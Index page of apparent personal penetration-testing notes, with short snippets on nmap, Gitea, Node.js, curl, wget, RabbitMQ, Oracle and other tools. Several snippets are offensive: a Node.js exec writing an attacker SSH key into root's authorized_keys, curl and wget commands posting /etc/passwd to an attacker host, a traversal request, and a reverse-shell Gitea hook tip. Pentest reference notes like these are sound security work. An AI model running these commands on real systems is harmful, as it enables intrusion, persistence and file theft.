akde/infosec

Click Here

  • Nmap scripts

    Nmap has it’s own script­ing lan­guage with which com­plex or recur­ring tasks can be autom­a­tized. See the man­page. And share/nmap/scripts. Vulnerability scan # nmap -sV -T5 -F $victim --script vuln | tee nmap-vuln.txt Bet­ter vul­ner­a­bil­i­ty scans (thanks to this source) cd /usr/share/nmap/scripts/vulscan/utilities/updater/ && ./updateFiles.sh nmap --script nmap-vulners -sV -sC -p22 $victim nmap --script vulscan -sV…

  • whois

  • GRPC

    high per­for­mance, open source uni­ver­sal RPC framework GRPC Client CLI Down­load the CLI via https://github.com/vadimi/grpc-client-cli. Then: ./grpc-client-cli $target:50051 GRPC Curl Down­load via https://github.com/fullstorydev/grpcurl. gRPC UI Down­load via https://github.com/fullstorydev/grpcui. Graph­i­cal com­mand line interface. See also

  • Exiftools

    Cre­ate file to exe­cute code via meta data: https://github.com/convisolabs/CVE-2021–22204-exiftool

  • Firebird database system

    See https://www.infosecmatter.com/firebird-database-exploitation/

  • Gitea

    If you can reg­is­ter, do this, cre­ate a repo and go to set­tings -> githooks and there add a com­mand as post-receive hook like a reverse shell. See https://www.cvedetails.com/vulnerability-list/vendor_id-19185/product_id-49829/Gitea-Gitea.html

  • Snap

    https://gtfobins.github.io/gtfobins/snap/

  • Nodejs

    Exe­cute command: const { exec } = require("child_process"); exec(“echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHGb9AwdEdyFm6SBuQeCWyKMh+CRXlMMb4l1GKlB8rnWoIzVClRfeWZnYzkBG487Mhb3svrd/ouVpXKWsFiAFSl5OJie88WJGTWc+3sU3I/TvuTbDgrqWwUMpPZj0jYgq99iaQeJDNPjKTs3w0QEq7GT1q69DU3m1jDCggdHYzMMA8byVXpCUivN1o4tkABhqSeUeZgW2Q9n2NxKkHGNvbkAoutFho1g8azgvnHI9HOExd81ppdzuAVC/YOTRtUKIB3ZNnfYS1qE7xp4fn7a/BEA+N8Axl0aaXLVLi2/RI+nwotdDb/vDXotS2X6B781xE9JboCRvJzejACszlMcI3bPq+R6UY3XILHDl3jpY70IFrpmX/aeUZ4d8m6A79EwyaQuckyU5eTVx7BH/RwH7hmtd7DR6VcxqNzteI49Yq8HwpyBU62I2AmnMuEXEvcPQLiM4947I3pxyZkYtZ5kULcXuWTMOITvPrFNuzwwPW1x3NbR+EnSbLtk8Ybr5iDyM= root@imac2019-kali’ > /root/.ssh/authorized_keys”, (error, std­out, stderr) => {    if (error) {        console.log(‘error: ${error.message}‘);        return;    }    if (stderr) {        console.log(‘stderr: ${stderr}‘);        return;    }    console.log(‘stdout: ${std­out}‘);});

  • Curl

    Write into a file: curl $url -o /tmp/f.txtcurl $url --output /tmp/f.txtcurl $url > /tmp/f.txt Post a local file: curl -X POST --data-binary @/etc/passwd http://192.168.49.53:21/ Exe­cute com­mand and return the result: curl -d q=`id` http://localhost:21/ With a header curl --header "Host: localhost" 10.10.10.10 Use the cor­rect path also with ../ (use­full for file tra­ver­sion attacks): curl --path-as-is $target:$port/public/../../../etc/passwd

  • RabbitMQ

    A Mes­sage bro­ker, writ­ten in Erlang. Uses the Erlang Cow­boy webserver. Notes Default cre­den­tials: guest / guest (works per defalt only from localhost) User­name can be changed with­out the old pass­word on the com­mand line?!rabbitmqctl change_password username newpassword Files with suf­fix .DCD con­tain credentials. If you have the Erlang cook­ie:erl -cookie JPCGJCAEWHPKKPBXBYYB -name rabbit -sname…

  • XAMPP

    List­ing of all files from a Xampp for Win­dows 7.4.6 installation. Look into phpin­fo page — could reveals usernames.

  • wget

    Post files wget --post-file=/etc/passwd http://$attacker_ip/ Set out­put file: wget -O /tmp/s http://...

  • openssl

    Exam­ple of a connection: openssl s_client -connect $target:995 -crlf -quiet Issues The fol­low­ing mes­sage means that the serv­er and client could not agree on a shared cryp­to sys­tem; prob­a­bly because the server’s cryp­to is too old. 139763095926080:error:1425F102:SSL routines:ssl_choose_client_version:unsupported protocol:../ssl/statem/statem_lib.c:1957: Add TLS 1 support: openssl s_client -connect $target:995 -crlf -quiet -tls1

  • YARA

    Yet anoth­er ridi­colous acrynom is a tool for detect infor­ma­tion in bina­ry and text files. YARA rules are writen in text files.  By call­ing yara with a rule file and a file to test, it either returns noth­ing if no rule was detect­ed or one or mul­ti­ple rules which match­es the pro­vid­ed file. Exam­ple: The foll­wing rule…

  • Microsoft IIS

  • Webmin / PBX

    Should exploit /tmp/18650.py not work, use svwar ‑m INVITE ‑e100-500 10.10.10.7 to deter­mine the prop­er exten­sion id.

  • Coldfusion

    Ver­sion 8 has an inter­est­ing vulnerability. Direc­to­ry tra­ver­sal with multiple/remote/14641.py reveals a SHA1 pass­word hash. In the pub­licly avail­able login page, the salt can be accessed and added to the hash:console.log(hex_hmac_sha1(document.loginform.salt.value, ‘2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03’));

  • Gitlab

    Logro­tate exploit RCE until 12.8.1

  • Supervisor

    Stan­dard on port 9001. Default htauth user / 123

  • PuTTY

    PuT­TY stores ses­sion infor­ma­tion in the registry: reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

  • FrontPage

    Each instal­la­tion has the fol­low­ing direc­to­ry structure: /document root /_vti_bin shtml.exe /_vti_adm admin.exe /_vti_aut author.exe The shtml.exe is for exe­cut­ing web brows­er guest’s code for a web page. author.exe and admin.exe not. Tools Spar­ty: Front­page Secu­ri­ty Audit tool.

  • Azure / Office365

    Main con­cepts: Ten­ant The “space” which an orga­ni­za­tion “rents”. Has a name. Users Groups Appli­ca­tions Iden­ti­ty model  Cloud only Accounts are only in for­eign sys­tems (“cloud”) Syn­chro­nized Accounts are cre­at­ed and man­aged on-premise and syn­chro­nized to for­eign sys­tems (“cloud”) Fed­er­at­ed Accounts are cre­at­ed, man­aged and authen­tifi­cat­ed on-premise; for­eign sys­tems (“cloud”) are also check­ing againts a on-premise system.…

  • Microsoft Office documents

    Generic analysis tools Extract macros with oledump Use oledump.py to extract macros. List the file contents: python oledump.py $file Exam­ple from an output: ... 7: M 16267 'Macros/VBA/NewMacros' 8: m 932 'Macros/VBA/ThisDocument' ... To show details from a doc­u­ment part use the first num­ber and execute python oledump.py -s $no $file But to extract Macros,…

  • Oracle SQL

    In Ora­cle SQL, a SID (Ser­vice Iden­ti­fi­er) is basi­cal­ly a database. Enumeration Get gen­er­al information tnscmd10g -h $target Try to get a SID: tnscmd10g status-p 1521 -h $target Anoth­er tool: Ora­cle Scanner oscanner -s $target -P 1521 Metas­ploit module scanner/oracle/tnslsnr_version Brute force SID hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 $target oracle-sid nmap --script oracle-sid-brute -p 1521 $target Brute…

  • Magento

    Vul­ner­a­bil­i­ty scan­ner: https://github.com/steverobbins/magescan

  • journalctl

    It is pos­si­ble to write as a user arbi­trary text into the logs. Mes­sages can be faked which could alert persons/surveillance systems. https://turbochaos.blogspot.com/2014/08/journalctl-terminal-escape-injection.html?view=classic

  • tmux

    Cre­ate a session tmux new -s <name>

  • distccd

    Mit distc­cd kann man ent­fer­nt compilieren.

  • Wireshark

    See a pack­et in its context Kontextmenü, Follow auswählen Show only ICMP pack­ets from a host tcpdump host 10.11.1.128 and icmp -i tun0 Show oth­er sys­tems com­mu­ni­cat­ing out­side the own address ip.addr == 10.11.1.0/24 && !(ip.addr == 192.168.119.0/24) && ! dns && !browser && !ssdp && !nbns && !llmnr Record audio Wire­shark can trans­form cap­tured audio…

  • Screen

    Screen-Sitzung mit Namen starten screen -S name Screen-Sitzun­gen auflisten screen -ls Screen-Sitzung fort­set­zen screen -xS name